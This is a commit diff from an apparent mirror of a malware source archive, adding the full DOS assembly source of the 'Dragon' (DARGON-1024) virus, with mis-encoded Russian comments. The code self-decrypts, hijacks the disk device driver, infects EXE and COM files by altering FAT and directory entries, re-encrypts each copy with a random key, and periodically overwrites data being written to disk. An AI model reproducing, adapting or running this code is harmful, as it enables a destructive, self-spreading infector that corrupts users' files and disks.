mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-15 23:39:23 +00:00
Add files via upload
This commit is contained in:
@@ -0,0 +1,559 @@
|
||||
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
|
||||
; º MicroVirus Corp. ºÛÛ
|
||||
; º Author: anti ºÛÛ
|
||||
; º VIRUS FAMILY: Dragon ºÛÛ
|
||||
; º VERSION: 1.0 ºÛÛ
|
||||
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼÛÛ
|
||||
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
|
||||
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
|
||||
; º Name: DARGON-1024 ³ Target: EXE, COM ºÛÛ
|
||||
; º Rating: Dangerous ³ Stealth: Yes ºÛÛ
|
||||
; º Tsr: Yes ³ Phantom: Yes ºÛÛ
|
||||
; º Arming: Yes ³ Danger(6): 4 ºÛÛ
|
||||
; º Attac Speed: Very Fast ³ Clock: No ºÛÛ
|
||||
; º Text Strings: Yes ³ Echo: Yes ºÛÛ
|
||||
; ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶÛÛ
|
||||
; º Find Next Target: SCANING ROOT DIRECTORY ºÛÛ
|
||||
; º Other viruses: none ºÛÛ
|
||||
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼÛÛ
|
||||
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
|
||||
code segment para 'code'
|
||||
assume cs:code,ds:code
|
||||
org 100h
|
||||
|
||||
dragon proc
|
||||
mov di,offset Begin ;� §è¨ä஢ª ¢¨àãá
|
||||
mov cx,1010
|
||||
|
||||
mov ax,00h ;Š«îç ¤«ï à áè¨ä஢ª¨ (¬¥ï¥âáï)
|
||||
Decode: xor word ptr [di],ax
|
||||
inc di
|
||||
loop Decode
|
||||
|
||||
Begin: mov ah,30h ;‡ ¯à 訢 ¥¬ ¢¥àá¨î
|
||||
int 21h ;DOS
|
||||
|
||||
cmp al,04h ;DOS 4.x+ : SI = 0
|
||||
sbb si,si ;DOS 2/3 : SI = -1
|
||||
|
||||
mov ah,52h ;‡ ¯à 訢 ¥¬ ¤¤à¥á DOS List of
|
||||
int 21h ;List ¢ ॣ¨áâàë ES:BX
|
||||
|
||||
lds bx,es:[bx] ;DS:BX 㪠§ë¢ ¥â ¯¥à¢ë© DPB
|
||||
;( Drive Parametr Block)
|
||||
search: mov ax,[bx+si+15h] ;‡ ¯à®á ᥣ¬¥â ¤à ©¢¥à
|
||||
cmp ax,70h ;�â® ¤à ©¢¥à ¤¨áª ?
|
||||
jne next ;…᫨ ¥â ¢§ïâì á«¥¤ãî騩 ¤à ©¢.
|
||||
xchg ax,cx ;�®¬¥áâ¨âì ᥣ¬¥â ¢ CX
|
||||
mov [bx+si+18h],byte ptr -1
|
||||
mov di,[bx+si+13h] ;‘®åà 塞 ᬥ饨¥ ¤à ©¢¥à
|
||||
;€¤à¥á ®à¨£¥ «ì®£® ¤à ©¢¥à
|
||||
;¢ CX:DI
|
||||
|
||||
mov [bx+si+13h],offset header ;‡ ¯¨á âì ¢ DPB è ᮡá⢥.
|
||||
mov [bx+si+15h],cs ;§ £®«®¢®ª ãáâனáâ¢
|
||||
next: lds bx,[bx+si+19h] ;‚§ïâì á«¥¤ãî騩 ¤à ©¢¥à
|
||||
cmp bx,-1 ;�â® ¯®á«¥¤¨© ¤à ©¢¥à?
|
||||
jne search ;�᫨ ¥â ¯à®¢¥à¨âì ¥£®
|
||||
|
||||
mov ds,cx ;DS : ᥣ¬¥â ®à¨£¥ «ì®£®
|
||||
;¤à ©¢¥à
|
||||
les ax,[di+6] ;ES : ¯à®æ¥¤ãà ¯à¥àë¢ ¨ï
|
||||
;AX : ¯à®æ¥¤ãà áâà ⥣¨¨
|
||||
|
||||
mov word ptr cs:Strat,ax ;‡ ¯®¬¨âì í⨠¤¢ ¤à¥á
|
||||
mov word ptr cs:Intr,es ;¤«ï ¤®«¥©è¥£® ¨á¯®«ì§®¢ ¨ï
|
||||
|
||||
push cs
|
||||
pop es
|
||||
|
||||
mov bx,128 ;Žá¢®¡®¤¨âì ¢áî ¯ ¬ïâì ªà®¬¥
|
||||
mov ah,4ah ;2048 ¡ ©â
|
||||
int 21h
|
||||
|
||||
mov ax,cs ;AX : ¤à¥á 襣® MCB
|
||||
dec ax
|
||||
mov es,ax
|
||||
mov word ptr es:[01h],08h ;Œ ᪨à㥬áï ¯®¤ DOS
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov byte ptr Drive+1,-1 ;‘¡à áë¢ ¥¬ ®¬¥à ¤¨áª
|
||||
|
||||
mov dx,offset File ;‡ à ¦ ¥¬ ⥪ã騩 ª ⮫®£
|
||||
mov ah,3dh ;¤¨áª C:
|
||||
int 21h
|
||||
|
||||
mov bx,ds:[2ch] ;Žá¢®¡®¦¤ ¥¬ ¯ ¬ïâì § ïâãî
|
||||
mov es,bx ;PSP
|
||||
mov ah,49h
|
||||
int 21h
|
||||
xor ax,ax
|
||||
test bx,bx ;BX = 0?
|
||||
jz boot ;…᫨ ¤ , â® ¬ë § à §¨«¨ ¯ ¬ïâì
|
||||
mov di,1 ;¨ ¥ § ãá⨫¨ § à ¦¥ë© ä ©«
|
||||
seek: dec di ;�®¨áª ª®æ ¡«®ª ¤ ëå DOS
|
||||
scasw
|
||||
jne seek
|
||||
lea dx,[di+2] ;SI 㪠§ë¢ ¥â ¨¬ï § à ¦¥®£®
|
||||
push es ;ä ©«
|
||||
jmp short exec
|
||||
|
||||
boot: mov es,ds:[16h] ;�®«ãç¨âì ¤à¥á PSP
|
||||
mov bx,es:[16h]
|
||||
dec bx ;‚§ïâì ¥£® MCB
|
||||
xor dx,dx
|
||||
push es
|
||||
|
||||
exec: push bx ;“áâ ®¢¨âì ¡«®ª ¯ à ¬¥â஢
|
||||
mov bx,offset param ; ¤à¥á ª®¬¬ ¤®© áâப¨
|
||||
mov [bx+4],cs ;€¤à¥á ¯¥à¢®£® FCB
|
||||
mov [bx+8],cs ;€¤à¥á ¢â®à®£® FCB
|
||||
mov [bx+12],cs
|
||||
pop ds
|
||||
|
||||
mov ax,4b00h ;‡ ¯ãáâ¨âì § à ¦¥ë© ä ©«
|
||||
int 21h
|
||||
mov ah,4ch ;‚ë©â¨ ¢ DOS
|
||||
int 21h
|
||||
|
||||
;ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ
|
||||
;Û *** Device Driver's Strategy Block *** Û
|
||||
;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ
|
||||
|
||||
Strategy: pushf
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
push ds
|
||||
|
||||
push es
|
||||
pop ds
|
||||
|
||||
mov ah,[bx+2] ;AH : ª®¬ ¤ DOS
|
||||
cmp ah,04h ;‚¢®¤ ( ç¥â¥¨¥)?
|
||||
je Work ;…᫨ ¥â - ¯à®¤®«¦¨âì ¯à®¢¥àªã
|
||||
cmp ah,08h ;‚뢮¤ ( § ¯¨áì)?
|
||||
je Work ;…᫨ ¥â - ¯à®¤®«¦¨âì ¯à®¢¥àªã
|
||||
cmp ah,09h ;‚뢮¤ á ª®â஫¥¬?
|
||||
je Work ;…᫨ ¥â ¢ë©â¨
|
||||
jmp FuckOut
|
||||
|
||||
Work: call OrigDrive ;Ž¡à ¡®âì ª®¬ ¤ã DOS
|
||||
call CheckDrive ;�â® ®¢ë© ¤¨áª?
|
||||
je CheckData ;„ - § à §¨âì ¥£®
|
||||
call InfectDisk
|
||||
|
||||
CheckData: mov ax,[bx+14h] ;‡ ¯à®á ç¥â¥¨¥ á¨á⥬®©
|
||||
FirstSector: cmp ax,10h ;®¡¤ áâì ¤¨áª ?
|
||||
jb FuckOut ;„ - ¢ë©â¨
|
||||
LastSector: cmp ax,21h
|
||||
ja FuckFile
|
||||
|
||||
call ChangeSector ;‡ à §¨âì ᥪâ®à ª ⮫®£
|
||||
jmp Exit ;‚ë©â¨
|
||||
|
||||
FuckFile: mov ah,es:[bx+2] ;AH : ª®¬ ¤ DOS
|
||||
cmp ah,08h ;‚뢮¤ (ç¥â¥¨¥)?
|
||||
je GoAhead ;�஢¥à¨âì ¤ ë¥
|
||||
cmp ah,09h ;‚뢮¤ á ª®â஫¥¬?
|
||||
jne FuckOut ;�¥â ¢ë©â¨
|
||||
|
||||
GoAhead: mov ax,es:[bx+14h] ;—¥â¥¨¥ á¨á⥬®© ®¡« áâ¨
|
||||
cmp ax,word ptr cs:LastSector+1 ;¤¨áª ?
|
||||
jb FuckOut ;„ - ¢ë©â¨
|
||||
inc cs:RecNum ;“¢¥«¨ç¨âì ®¬¥à § ¯¨á¨
|
||||
cmp cs:RecNum,64h ;�â® 100 § ¯¨áì?
|
||||
jne FuckOut ;�¥â ¢ë©â¨
|
||||
mov cs:RecNum,00h ;Ž¡ã«¨âì ç¨á«® § ¯¨á¥©
|
||||
call DestroyFile ;� §àãè¨âì § ¯¨áë¢ ¥¬ë¥ ¤ ë¥
|
||||
|
||||
FuckOut: call OrigDrive ;‚ë§¢ âì ®à¨£¥ «ìë© ¤à ©¢¥à
|
||||
Exit: pop ds
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
popf
|
||||
Inter: retf ;‚ë©â¨
|
||||
|
||||
;ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ
|
||||
;Û *** Infect Disk *** Û
|
||||
;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ
|
||||
|
||||
InfectDisk proc near
|
||||
cld ;‡ ¯®¬¨âì § £®«®¢®ª § ¯à®á
|
||||
mov cx,0bh ;¢ á⥪¥
|
||||
mov si,bx
|
||||
Save: lodsw
|
||||
push ax
|
||||
loop Save
|
||||
|
||||
mov word ptr [bx+0eh],offset VirusEnd ;“áâ ®¢¨âì ᢮©
|
||||
mov word ptr [bx+10h],cs ;¡ãää¥à ¤«ï ç¥â¥¨ï á ¤¨áª
|
||||
mov byte ptr [bx+2],02h ;‡ ¯à 訢 ¥¬ BPB
|
||||
call OrigDrive ;( BIOS Parametr Block)
|
||||
|
||||
lds si,[bx+12h] ;DS:SI : ¤à¥á BPB
|
||||
|
||||
mov ax,[si+11] ;AX : ç¨á«® ᥪâ®à®¢ FAT
|
||||
mov word ptr cs:FatSec1+3,ax
|
||||
push ax
|
||||
dec ax
|
||||
mov cx,[si] ;CX : � §¬¥à ᥪâ®à ¢ ¡ ©â å
|
||||
mul cx ;AX : à §¬¥à FAT ¢ ¡ ©â å
|
||||
mov word ptr cs:FatSecSize+2,ax
|
||||
pop ax
|
||||
shl ax,01h
|
||||
add ax,[si+3] ;AX : ‘¥ªâ®à ª â «®£
|
||||
mov word ptr cs:FirstSector+1,ax
|
||||
push ax
|
||||
|
||||
xor dx,dx
|
||||
mov ax,[si]
|
||||
mov word ptr cs:Bytes+1,ax
|
||||
mov cx,20h
|
||||
div cx
|
||||
mov cx,ax
|
||||
mov ax,[si+6] ;AX : à §¬¥à ª â «®£
|
||||
div cx
|
||||
|
||||
pop di
|
||||
add di,ax ;DI : �¥à¢ë© ᥪâ®à ®¡« áâ¨
|
||||
mov word ptr cs:LastSector+1,di ;¤ ëå
|
||||
mov ax,[si+8] ;AX : ®¡é¥¥ ç¨á«® ᥪâ®à®¢
|
||||
push ax
|
||||
xor cx,cx
|
||||
mov cl,[si+2] ;CX : ç¨á«® ᥪâ®à®¢ ¢ ª« áâ¥à¥
|
||||
mov word ptr cs:Cluster+1,cx
|
||||
|
||||
sub ax,cx ;“¬¥ìè¨âì ç¨á«® ᥪâ®à®¢
|
||||
mov word ptr cs:StartSector+3,ax ;à §¬¥à ®¤®£® ª« áâ¥à
|
||||
pop ax
|
||||
sub ax,di
|
||||
xor dx,dx
|
||||
div cx
|
||||
inc ax
|
||||
|
||||
push es
|
||||
pop ds
|
||||
|
||||
FatSec1: mov word ptr [bx+14h],01h ;—¨â ¥¬ ¯®á«¥¤¨© ᥪâ®à FAT
|
||||
mov word ptr [bx+12h],01h
|
||||
mov byte ptr [bx+2],04h
|
||||
call OrigDrive
|
||||
lds si,[bx+0eh] ;DS:SI : 㪠§ë¢ ¥â áç¨â ë©
|
||||
;ᥪâ®à
|
||||
push bp
|
||||
|
||||
mov bp,ax ;BP : ç¨á«® ª« áâ¥à®¢
|
||||
cmp ax,0ff6h ;�â® 16 ¡¨â®¢ë© FAT?
|
||||
jae Fat16Bit ;…᫨ ¥â ¯à®¤®«¦¨âì
|
||||
|
||||
More12Bit: mov ax,bp ;Ž¯à¥¤¥«¥¨¥ á¬¥é¥¨ï ¤«ï
|
||||
mov cx,03h ;¯®á«¥¤¥£® ª« áâ¥à ¤¨áª
|
||||
mul cx
|
||||
shr ax,01h
|
||||
|
||||
mov di,ax ;DI : ¤à¥á í«¥¬¥â FAT ¢
|
||||
add di,si ;¡ãää¥à¥
|
||||
FatSecSize: sub di,100h
|
||||
mov ax,bp
|
||||
test ax,01h ;�â® ç¥âë© ®¬¥à ª« áâ¥à ?Í»
|
||||
mov ax,[di] ;AX : í«¥¬¥â FAT º
|
||||
jnz Chet ;…᫨ ¥â ¯à®¤®«¦¨âì ͼ
|
||||
|
||||
and ax,0fffh ;Ž¡ã«¨âì áâ à訥 4 ¡¨â
|
||||
jmp GoOn
|
||||
|
||||
Chet: mov cl,04h ;‘¤¢¨ãâì 4 ¡¨â ¢«¥¢®
|
||||
shl ax,cl
|
||||
jmp GoOn
|
||||
|
||||
GoOn: cmp ax,0ff7h ;�â® ¯«®å®© ª« áâ¥à ( BAD)
|
||||
je Bad12Bit ;…᫨ ¥â ¯à®¤®«¦¨âì
|
||||
|
||||
test bp,01h ;�â® ç¥âë© ª« áâ¥à
|
||||
jnz ChetCluster ;�¥â - ¯à®¤®«¦¨âì
|
||||
or ax,0fffh ;�®¬¥â¨âì ª« áâ¥à ª ª ¯®á«¥¤¨©
|
||||
mov [di],ax ;¢ 楯®çª¥ ( EOF)
|
||||
jmp Contin
|
||||
|
||||
ChetCluster: mov dx,0fffh
|
||||
mov cl,04h
|
||||
shl dx,cl
|
||||
or ax,dx ;�®¬¥â¨âì ª« áâ¥à ª ª ¯®á«¥¤¨©
|
||||
mov [di],ax ;¢ 楯®çª¥ ( EOF)
|
||||
jmp Contin
|
||||
|
||||
Rest: jmp Fuck
|
||||
|
||||
More16Bit: mov ax,bp
|
||||
Fat16Bit: mov di,ax
|
||||
add di,si
|
||||
sub di,word ptr cs:FatSecSize+2
|
||||
mov ax,[di] ;AX : 16 ¡¨â®¢ë© í«¥¬¥â FAT
|
||||
cmp ax,0fff7h ;�â® ¯«®å®© ª« áâ¥à?
|
||||
je Bad16Bit ;�¥â - ¯à®¤®«¦¨âì
|
||||
mov ax,0ffffh ;�®¬¥â¨âì ¥£® ª ª ¯®á«¥¤¨© ¢
|
||||
mov [di],ax ;楯®çª¥ ª« áâ¥à®¢ ( EOF)
|
||||
jmp Contin
|
||||
|
||||
Bad16Bit: call bad ;‚§ïâì ¯à¥¤ë¤ã騩 ª« áâ¥à
|
||||
jmp More16Bit ;�஢¥à¨âì ¥£®
|
||||
|
||||
Bad12Bit: call bad ;‚§ïâì ¯à¥¤ë¤ã騩 ª« áâ¥à
|
||||
jmp More12Bit ;�஢¥à¨âì ¥£®
|
||||
|
||||
Contin: mov word ptr cs:Location+1,bp
|
||||
pop bp ;‡ ¯¨á âì ¨§¬¥¥ë© FAT ¤¨áª
|
||||
push es
|
||||
pop ds
|
||||
|
||||
call Write
|
||||
|
||||
push es
|
||||
push cs
|
||||
push cs
|
||||
pop ds
|
||||
pop es
|
||||
|
||||
mov si,100h ;‘®§¤ âì ª®¯¨î ¢¨àãá
|
||||
mov di,offset VirusEnd
|
||||
mov cx,1024
|
||||
rep movsb
|
||||
|
||||
Again: mov ax,40h ;‚§ïâì á«ãç ©®¥ ç¨á«®
|
||||
mov es,ax
|
||||
mov di,6ch
|
||||
mov ax,word ptr es:[di]
|
||||
|
||||
cmp ax,00h ;—¨á«® à ¢® ã«î
|
||||
je Again ;„ ¢§ïâì ¤à㣮¥ ç¨á«®
|
||||
|
||||
mov word ptr cs:VirusEnd+7,ax ;‘®åà ¨âì ª«îç ¤«ï
|
||||
mov word ptr cs:Key+1,ax ;à áè¨ä஢ª¨
|
||||
|
||||
mov di,offset VirusEnd ;‡ è¨ä஢ âì ¢¨àãá
|
||||
add di,14
|
||||
mov cx,1010
|
||||
Key: mov ax,00h ;Š«îç ¤«ï è¨ä஢ª¨ ( ¬¥ï¥âáï)
|
||||
Coding: xor word ptr [di],ax
|
||||
inc di
|
||||
loop Coding
|
||||
|
||||
pop es
|
||||
push es
|
||||
pop ds
|
||||
|
||||
mov word ptr [bx+0eh],offset VirusEnd
|
||||
mov word ptr [bx+10h],cs ;‡ ¯¨á âì § è¨ä஢ ãî ª®¯¨î
|
||||
StartSector: mov word ptr [bx+14h],14h ;¢¨àãá ¤¨áª
|
||||
mov word ptr [bx+12h],02h
|
||||
call Write
|
||||
|
||||
Fuck: push es ;‚®ááâ ®¢¨âì § £®«®¢®ª § ¯à®á
|
||||
pop ds
|
||||
std
|
||||
mov cx,0bh
|
||||
mov di,bx
|
||||
add di,20
|
||||
Load: pop ax
|
||||
stosw
|
||||
loop Load
|
||||
ret ;‚ë©â¨
|
||||
InfectDisk endp
|
||||
|
||||
;ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ
|
||||
;Û *** Infect or Disinfect Directory *** Û
|
||||
;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ
|
||||
|
||||
ChangeSector proc near
|
||||
xor dx,dx
|
||||
mov ax,[bx+12h] ;Š®«¨ç¥á⢮ ᥪâ®à®¢
|
||||
Bytes: mov cx,10h ;CX : à §¬¥à ᥪâ®à ( ¬¥ï¥âáï)
|
||||
mul cx
|
||||
mov di,ax ;DI : à §¬¥à ¢ ¡ ©â å
|
||||
lds si,[bx+0eh] ;DS:SI : ¤à¥á ¡ãää¥à á ¤ 묨
|
||||
add di,si ;DS:DI : ¤à¥á ª®æ ¡ãää¥à
|
||||
xor cx,cx ;�ਧ ª § à ¦¥¨ï
|
||||
|
||||
push ds ;‘®åà ¨âì ¤à¥á ¡ãää¥à
|
||||
push si
|
||||
|
||||
call InfectSector ;‡ à §¨âì ª â «®£
|
||||
jcxz NoInfect ;Œë ¨§¬¥¨«¨ ª â «®£?
|
||||
call Write ;„ - § ¯¨á âì ¤¨áª
|
||||
|
||||
NoInfect: pop si ;‚®ááâ ®¢¨âì ¤à¥á ¡ãää¥à
|
||||
pop ds
|
||||
inc cl ;�ਧ ª ¢ëªãáë¢ ¨ï ¢¨àãá
|
||||
;¨§ § à ¦¥ëå ä ©«®¢
|
||||
call InfectSector ;‚ë«¥ç¨âì ª â «®£
|
||||
ret ;‚ë©â¨
|
||||
ChangeSector endp
|
||||
|
||||
;ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ
|
||||
;Û *** Infect or Disinfect Files *** Û
|
||||
;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ
|
||||
|
||||
InfectSector proc near
|
||||
More: mov ax,[si+8] ;AX : ¯¥à¢ë¥ ¤¢¥ ¡ãª¢ë à áè¨à¥¨ï
|
||||
cmp ax,'XE' ;�â® EXE- ä ©«?
|
||||
jne COM ;�¥â ¯à®¢¥à¨âì ¤ «ìè¥
|
||||
cmp [si+0ah],al
|
||||
je Infect
|
||||
COM: cmp ax,'OC' ;�â® COM- ä ©«?
|
||||
jne NextFile ;�¥â - ¢§ïâì á«¥¤ãî騩 ä ©«
|
||||
cmp byte ptr [si+0ah],'M'
|
||||
jne NextFile
|
||||
|
||||
Infect: cmp word ptr [si+28],1024 ;” ©« ¬¥ìè¥ 1024 ¡ ©â ?
|
||||
jb NextFile ;„ - ¢§ïâì á«¥¤ãî騩 ä ©«
|
||||
test byte ptr [si+0bh],1ch ;�â® ¤¨à¥ªâ®à¨ï ¨«¨ á¨á⥬ë©
|
||||
;ä ©«
|
||||
jnz NextFile ;„ - ¢§ïâì á«¥¤ãî騩 ä ©«
|
||||
test cl,cl ;‡ à ¦¥¨¥?
|
||||
jnz Disinfect ;„ - § à §¨âì ä ©«
|
||||
|
||||
Location: mov ax,714 ;AX : ª« áâ¥à ᮤ¥à¦ 騩 ¢¨àãá
|
||||
;( ¬¥ï¥âáï)
|
||||
cmp ax,[si+1ah] ;�â® ä ©« § à ¦¥?
|
||||
je NextFile ;„ - ¢§ïâì á«¥¤ãî騩 ä ©«
|
||||
xchg ax,[si+1ah] ;‡ à §¨âì ä ©«, AX : áâ à⮢ë©
|
||||
xor ax,666h ;ª« áâ¥à ä ©«
|
||||
mov [si+12h],ax ;�®¬¥áâ¨âì ¥£® ¢ ®¡« áâì DOS
|
||||
inc ch ;�ਧ ª ¨§¬¥¥¨ï ª â «®£
|
||||
jmp NextFile ;‚§ïâì á«¥¤ãî騩 ä ©«
|
||||
|
||||
Disinfect: xor ax,ax
|
||||
xchg ax,[si+12h] ;AX : áâ àë© áâ àâ®¢ë© ª« áâ¥à
|
||||
xor ax,666h ;§ à ¦¥®£® ä ©«
|
||||
mov [si+1ah],ax ;‚ë«¥ç¨âì ä ©«
|
||||
|
||||
NextFile: add si,20h ;€¤à¥á á«¥¤ãî饣® ä ©«
|
||||
cmp di,si
|
||||
jne More
|
||||
ret
|
||||
InfectSector endp
|
||||
|
||||
;ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ
|
||||
;Û *** Destroy Files *** Û
|
||||
;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ
|
||||
|
||||
DestroyFile proc near
|
||||
push es
|
||||
push cs
|
||||
pop ds
|
||||
les di,es:[bx+0eh] ;ES:DI : ¤à¥á § ¯¨áë¢ ¥¬ëå
|
||||
;¤ ëå
|
||||
mov si,offset CopyRight ;DS:SI : ¤à¥á áâப¨ á ¨ä®à¬ æ.
|
||||
mov cx,120 ;CX : ¤«¨ áâப¨
|
||||
rep movsb ;“¨ç⮦¨âì ¤ ë¥
|
||||
pop es
|
||||
ret ;‚ë©â¨
|
||||
DestroyFile endp
|
||||
|
||||
;ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ
|
||||
;Û *** Write to Disk *** Û
|
||||
;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ
|
||||
|
||||
Write proc near
|
||||
mov ah,es:[bx+2] ;‘®åà 塞 ª®¬ ¤ã DOS
|
||||
mov byte ptr es:[bx+2],08h ;Š®¬ ¤ ¢ë¢®¤ ( § ¯¨á¨)
|
||||
call OrigDrive ;‚ë§¢ âì ®à¨£¨ «ìë© ¤à ©¢¥à
|
||||
;¤¨áª
|
||||
mov es:[bx+2],ah ;‚®ááâ ®¢¨âì ª®¬ ¤ã DOS
|
||||
and byte ptr es:[bx+4],7fh ;‘¡à®á¨âì ä« £ ®è¨¡ª¨
|
||||
ret
|
||||
Write endp
|
||||
|
||||
;ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ
|
||||
;Û *** Check Disk *** Û
|
||||
;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ
|
||||
|
||||
CheckDrive proc near
|
||||
mov al,[bx+1] ;AL : ®¬¥à ¤¨áª
|
||||
|
||||
drive: cmp al,-1 ;„¨áª ᬥ¨«áï?
|
||||
mov byte ptr cs:[drive+1],al ;‡ ¯®¬¨âì ®¬¥à ¤¨áª ?
|
||||
jne Change ;„ - ¢ë©â¨. �¥â ¯à®¢¥à¨âì ¥
|
||||
;ᬥ¨«áï «¨ ä«®¯¯¨ ¤¨áª
|
||||
push [bx+0eh]
|
||||
mov byte ptr [bx+2],01h ;Š®¬ ¤ Š®âà®«ï ®á¨â¥«ï
|
||||
call OrigDrive ;‚ë§¢ âì ¤à ©¢¥à ¤¨áª
|
||||
cmp byte ptr [bx+0eh],01h ;„¨áª ᬥ¨«áï?
|
||||
pop [bx+0eh]
|
||||
mov [bx+2],ah ;‚®ááâ ®¢¨âì ª®¬ ¤ã DOS
|
||||
|
||||
Change: ret
|
||||
CheckDrive endp
|
||||
|
||||
;ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ
|
||||
;Û *** Get Next Cluster *** Û
|
||||
;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ
|
||||
|
||||
Bad proc near
|
||||
dec bp ;“¬¥ìè¨âì ®¬¥à ª« áâ¥à
|
||||
Cluster: mov ax,00h ;AX : ç¨á«® ᥪâ®à®¢ ¢ ª« áâ¥à¥
|
||||
;( ¬¥ï¥âáï)
|
||||
sub word ptr cs:StartSector+3,ax
|
||||
ret
|
||||
Bad endp
|
||||
|
||||
;ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ
|
||||
;Û *** Call Original Device Drive *** Û
|
||||
;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ
|
||||
|
||||
OrigDrive proc near
|
||||
; jmp far 70h:xxxxh
|
||||
db 9ah ;‚ë§¢ âì ¯à®æ¥¤ãàã ‘âà ⥣¨¨
|
||||
Strat: dw ?,70h ;®à¨£¥ «ì®£® ¤à ©¢ªà ¤¨áª
|
||||
; jmp far 70h:xxxxh
|
||||
db 9ah ;‚ë§¢ âì ¯à®æ¥¤ãàã �à¥àë¢ ¨ï
|
||||
Intr: dw ?,70h ;®à¨£¥ «ì®£® ¤à ©¢ªà ¤¨áª
|
||||
ret
|
||||
OrigDrive endp
|
||||
|
||||
dragon endp
|
||||
|
||||
;ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ
|
||||
;Û *** Data Area *** Û
|
||||
;Û Begin Û
|
||||
;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ
|
||||
|
||||
header: inc ax
|
||||
ret
|
||||
dw 1
|
||||
dw 2000h ;€ââਡãâ ãáâனá⢠:
|
||||
;�«®ª®¢®¥, ä®à¬ â ¥ IBM
|
||||
